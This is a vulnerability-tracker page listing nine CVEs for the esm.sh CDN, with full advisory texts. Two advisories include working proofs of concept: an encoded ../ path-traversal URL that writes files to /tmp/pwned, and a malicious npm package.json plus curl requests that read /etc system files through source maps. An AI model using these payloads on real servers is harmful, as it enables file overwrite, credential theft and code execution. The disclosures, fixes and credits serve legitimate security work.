Esm.sh
Sign in to watchby Esm Dev
Source repositories
CVEs (9)
| CVE | Sev | Risk | CVSS | EPSS | KEV | Published | Description |
|---|---|---|---|---|---|---|---|
| CVE-2026-44593 | cri | 0.59 | — | — | May 12, 2026 | ### Impact - Arbitrary File Write – An attacker can cause the server to write data to any file path it has write permission for. - Privilege Escalation / RCE – By overwriting critical binaries or scripts, the attacker can execute arbitrary code with the server’s privileges. ### Exploit The legacy router first retrieves a response from `legacyServer`, parses the incoming request path, and ultimately writes the data to storage via `buildStorage.Put` (see <https://github.com/esm-dev/esm.sh/blob/4312ae93e518121e764a18bb521af12e490ef137/server/legacy_router.go#L291>). For a URL such as: ``` http://ESM_SH_HOST/v111/react@19.2.0/esnext/..%2f..%2f..%2fgh/<attacker>/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned ``` the router concatenates the path components without sanitizing them, producing a storage key like: ``` legacy/v111/react@19.2.0/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwned ``` When this key is used, the underlying file system resolves the relative segments and writes the file to `/tmp/pwned`. Thus an attacker can craft a request that writes data to arbitrary locations on the server. ### Details 1. **URL Construction** A crafted request is sent to the server: ``` http://ESM_SH_HOST/v111/react@19.2.0/esnext/..%2f..%2f..%2fgh/<attacker>/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned ``` 2. **Proxy to Legacy Server** The request is forwarded to: ``` http://legacy.esm.sh/v111/react@19.2.0/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../tmp/pwned ``` which resolves to: ``` http://legacy.esm.sh/gh/<attacker>/exp@1171e85d5d/foo.md ``` 3. **File Retrieval** The server fetches `foo.md` from the GitHub repository `https://github.com/<attacker>/exp`. 4. **Path Normalisation & Storage** The storage path derived from the request is: ``` legacy/v111/react@19.2.0/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwned ``` Normalising this path yields `/tmp/pwned`. The retrieved file content is then written to that location. 5. **Result** By repeating this pattern, an attacker can overwrite arbitrary binaries or scripts on the server, paving the way for remote code execution. ### Credit Discovery To splitline (@\_splitline\_) from DEVCORE Research Team | |
| CVE-2026-44594 | hig | 0.45 | — | — | May 12, 2026 | ### Summary A Local File Inclusion (LFI) vulnerability exists in the esbuild plugin's handling of the `browser` field in `package.json`. An attacker can publish an npm package that causes the server to read and return arbitrary files from the host filesystem during the build process. ### Details The vulnerable code is in the `OnResolve` callback of the esbuild plugin: https://github.com/esm-dev/esm.sh/blob/main/server/build.go The plugin validates that resolved file paths stay within the package working directory. However, after this check, the `browser` field from `package.json` remaps the module path to an attacker-controlled value containing `../` sequences. No validation is performed after the remapping. ```go // Sandbox check passes for the original "./d1.txt" path if !strings.HasPrefix(filename, ctx.wd+string(os.PathSeparator)) { return esbuild.OnResolveResult{}, fmt.Errorf("could not resolve module %s", specifier) } // ... later, browser field remaps to attacker-controlled path: if len(pkgJson.Browser) > 0 && ctx.isBrowserTarget() { if path, ok := pkgJson.Browser[modulePath]; ok { if path == "" { return esbuild.OnResolveResult{ Path: args.Path, Namespace: "browser-exclude", }, nil } if !isRelPathSpecifier(path) { externalPath, sideEffects, err := ctx.resolveExternalModule(path, args.Kind, withTypeJSON, analyzeMode) if err != nil { return esbuild.OnResolveResult{}, err } return esbuild.OnResolveResult{ Path: externalPath, SideEffects: sideEffects, External: true, }, nil } modulePath = path } } // path.Join collapses "../" sequences - escapes the package directory filename = path.Join(ctx.wd, "node_modules", ctx.esmPath.PkgName, modulePath) // No second sandbox check ``` File contents appear in both the bundled JS output and the source map `sourcesContent` array. Readable files are constrained by esbuild's loader selection based on file extension: `.json` files must be valid JSON, `.txt`/`.html`/`.md` are read as raw text, files without a recognized extension must be syntactically valid JavaScript. The `config.json` of esm.sh is fully readable (valid JSON with `.json` extension). Non-existent target paths do not cause build errors - the import simply remains unresolved. This allows probing many paths in a single package, acting as a file existence oracle. ### PoC The test package is published at https://www.npmjs.com/package/chess-sec-utils1 **package.json:** ```json { "name": "chess-sec-utils1", "version": "1.0.6", "main": "index.js", "type": "module", "browser": { "./d1.txt": "../../../../../../../../etc/hostname", "./d2.json": "../../../../../../../../etc/os-release", "./d3.json": "../../../../../../../../etc/environment" } } ``` **index.js:** ```js import d1 from "./d1.txt" import d2 from "./d2.json" import d3 from "./d3.json" export default { d1, d2, d3 } ``` ```bash npm publish curl "https://<esm.sh-instance>/chess-sec-utils1@1.0.6" curl "https://<esm.sh-instance>/chess-sec-utils1@1.0.6/es2022/chess-sec-utils1.mjs.map" ``` Server file contents in source map response: ```json { "sourcesContent": [ "ideapad\n", "PRETTY_NAME=\"Ubuntu 22.04.5 LTS\"\nNAME=\"Ubuntu\"\nVERSION_ID=\"22.04\"\nVERSION=\"22.04.5 LTS (Jammy Jellyfish)\"\nVERSION_CODENAME=jammy\nID=ubuntu\nID_LIKE=debian\nHOME_URL=\"https://www.ubuntu.com/\"\nSUPPORT_URL=\"https://help.ubuntu.com/\"\nBUG_REPORT_URL=\"https://bugs.launchpad.net/ubuntu/\"\nPRIVACY_POLICY_URL=\"https://www.ubuntu.com/legal/terms-and-policies/privacy-policy\"\nUBUNTU_CODENAME=jammy\n", "PATH=\"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin\"\n", "import d1 from \"./d1.txt\"..." ] } ``` <img width="1720" height="796" alt="image" src="https://github.com/user-attachments/assets/ee1c9781-2c5c-4718-b436-f6cf453f0952" /> ### Impact An attacker can read sensitive files from the server, including the esm.sh `config.json` which may contain npm registry authentication tokens and S3 storage credentials. ### Fix Add a path validation check after the `browser` field remapping: ```go filename = path.Join(ctx.wd, "node_modules", ctx.esmPath.PkgName, modulePath) if !strings.HasPrefix(filename, ctx.wd+string(os.PathSeparator)) { return esbuild.OnResolveResult{}, fmt.Errorf("path traversal blocked") } ``` ### Credit Svyatoslav Berestovsky of Metascan | |
| CVE-2025-59341 | Hig | 0.43 | — | 0.01 | Sep 17, 2025 | esm.sh is a nobuild content delivery network(CDN) for modern web development. In 136 and earlier, a Local File Inclusion (LFI) issue was identified in the esm.sh service URL handling. An attacker could craft a request that causes the server to read and return files from the host filesystem (or other unintended file sources). | |
| CVE-2025-59342 | Med | 0.32 | — | 0.06 | Sep 17, 2025 | esm.sh is a nobuild content delivery network(CDN) for modern web development. In 136 and earlier, a path-traversal flaw in the handling of the X-Zone-Id HTTP header allows an attacker to cause the application to write files outside the intended storage location. The header value is used to build a filesystem path but is not properly canonicalized or restricted to the application’s storage base directory. As a result, supplying ../ sequences in X-Zone-Id causes files to be written to arbitrary directories. Version 136.1 contains a patch. | |
| CVE-2026-27730 | 0.00 | — | 0.00 | Feb 25, 2026 | esm.sh is a no-build content delivery network (CDN) for web development. Versions up to and including 137 have an SSRF vulnerability (CWE-918) in esm.sh’s `/http(s)` fetch route. The service tries to block localhost/internal targets, but the validation is based on hostname string checks and can be bypassed using DNS alias domains. This allows an external requester to make the esm.sh server fetch internal localhost services. As of time of publication, no known patched versions exist. | ||
| CVE-2025-50180 | 0.00 | — | 0.00 | Feb 25, 2026 | esm.sh is a no-build content delivery network (CDN) for web development. In version 136, esm.sh is vulnerable to a full-response SSRF, allowing an attacker to retrieve information from internal websites through the vulnerability. Version 137 fixes the vulnerability. | ||
| CVE-2026-23644 | 0.00 | — | 0.00 | Jan 18, 2026 | esm.sh is a no-build content delivery network (CDN) for web development. Prior to Go pseeudoversion 0.0.0-20260116051925-c62ab83c589e, the software has a path traversal vulnerability due to an incomplete fix. `path.Clean` normalizes a path but does not prevent absolute paths in a malicious tar file. Commit https://github.com/esm-dev/esm.sh/commit/9d77b88c320733ff6689d938d85d246a3af9af16, corresponding to pseudoversion 0.0.0-20260116051925-c62ab83c589e, fixes this issue. | ||
| CVE-2025-65026 | 0.00 | — | 0.00 | Nov 19, 2025 | esm.sh is a nobuild content delivery network(CDN) for modern web development. Prior to version 136, The esm.sh CDN service contains a Template Literal Injection vulnerability (CWE-94) in its CSS-to-JavaScript module conversion feature. When a CSS file is requested with the ?module query parameter, esm.sh converts it to a JavaScript module by embedding the CSS content directly into a template literal without proper sanitization. An attacker can inject malicious JavaScript code using ${...} expressions within CSS files, which will execute when the module is imported by victim applications. This enables Cross-Site Scripting (XSS) in browsers and Remote Code Execution (RCE) in Electron applications. This issue has been patched in version 136. | ||
| CVE-2025-65025 | 0.00 | — | 0.00 | Nov 19, 2025 | esm.sh is a nobuild content delivery network(CDN) for modern web development. Prior to version 136, the esm.sh CDN service is vulnerable to path traversal during NPM package tarball extraction. An attacker can craft a malicious NPM package containing specially crafted file paths (e.g., package/../../tmp/evil.js). When esm.sh downloads and extracts this package, files may be written to arbitrary locations on the server, escaping the intended extraction directory. This issue has been patched in version 136. |